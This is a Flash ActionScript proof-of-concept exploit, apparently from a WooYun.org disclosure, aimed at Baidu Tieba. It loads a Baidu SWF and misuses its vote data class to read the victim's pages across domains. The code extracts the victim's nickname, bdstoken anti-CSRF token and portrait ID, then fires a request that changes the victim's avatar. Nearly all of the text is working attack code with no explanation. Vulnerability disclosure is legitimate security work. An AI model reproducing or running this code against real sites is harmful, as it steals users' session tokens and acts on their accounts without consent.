WooYun.org

package {
	import flash.display.*;
	import flash.events.*;
	import flash.net.*;
	import flash.system.*;
	import flash.utils.*;
	
	public class exp extends Sprite {
		private static const PATH:String =
			'baidu.vote.DataManager'
		
		private static const URL:String =
			'http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf'
		private var clsExp:*;
		private var clsRes:*;
		
		public function exp() {
			Security.allowDomain('*');
			var ld:Loader = new Loader();
			ld.load(new URLRequest(URL));
			addChild(ld);
			var tid:uint = setInterval(function() : void {
				try {
					clsExp = ld.contentLoaderInfo.applicationDomain.getDefinition(PATH);
					clsRes= ld.contentLoaderInfo.applicationDomain.getDefinition('baidu.vote.enumerate.Constants');
				} catch(e:Error) {
					return;
				}
				clearInterval(tid);
				
				ready();
			}, 100);
		}
		private function load(url:String) : void {			
			var obj:* = clsExp.getInstance();
			obj.requestPageData({
				'r': 1,
				'voteId': 1,
				'tn': 1
			});
			clsRes.URL_VOTE_DETAIL = url + '#';
			obj.requestVoteDetail();
		}
		
		private function ready() : void {
			loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {
				complete(e.error.text);
			});
			load('http://tieba.baidu.com/');
		}
		
		
		private var stat:int = 0;
		private var nick:String;
		private var bdstoken:String, portrait:String;
		private function complete(data:String) : void {
			var arr:Array;
			switch (stat) {
			case 0:
				// get nick (from main page)
				arr = data.match(/"name": "([^"]+)/);
				if (arr) nick = arr[1];
				if (!nick) {
					trace('fail get nick');
					return;
				}
				trace('nick:', nick);
				load('http://tieba.baidu.com/home/profile?un=' + nick);
				break;
			
			case 1:
				// get token (from profile page)
				arr = data.match(/\[PageData, '([^']+)/);
				if (arr) bdstoken = arr[1];
				if (!bdstoken) {
					trace('fail get bdstoken');
					return;
				}
				trace('bdstoken:', bdstoken);
				// get portrait
				arr = data.match(/portrait": "([^"]+)/);
				if (arr) portrait = arr[1];
				if (!portrait) {
					trace('fail get portrait');
					return;
				}
				trace('portrait:', portrait);
				
				// new avatar
				var url:String = 'http://himg.baidu.com/sys/corpupload?callback=A&coordX=0&coordY=0&coordW=200&coordH=200&psign=' + portrait + '&picId=21751076141&bdstoken=' + bdstoken;
				sendToURL(new URLRequest(url));
				break;
			}
			stat++;
		}
	}
}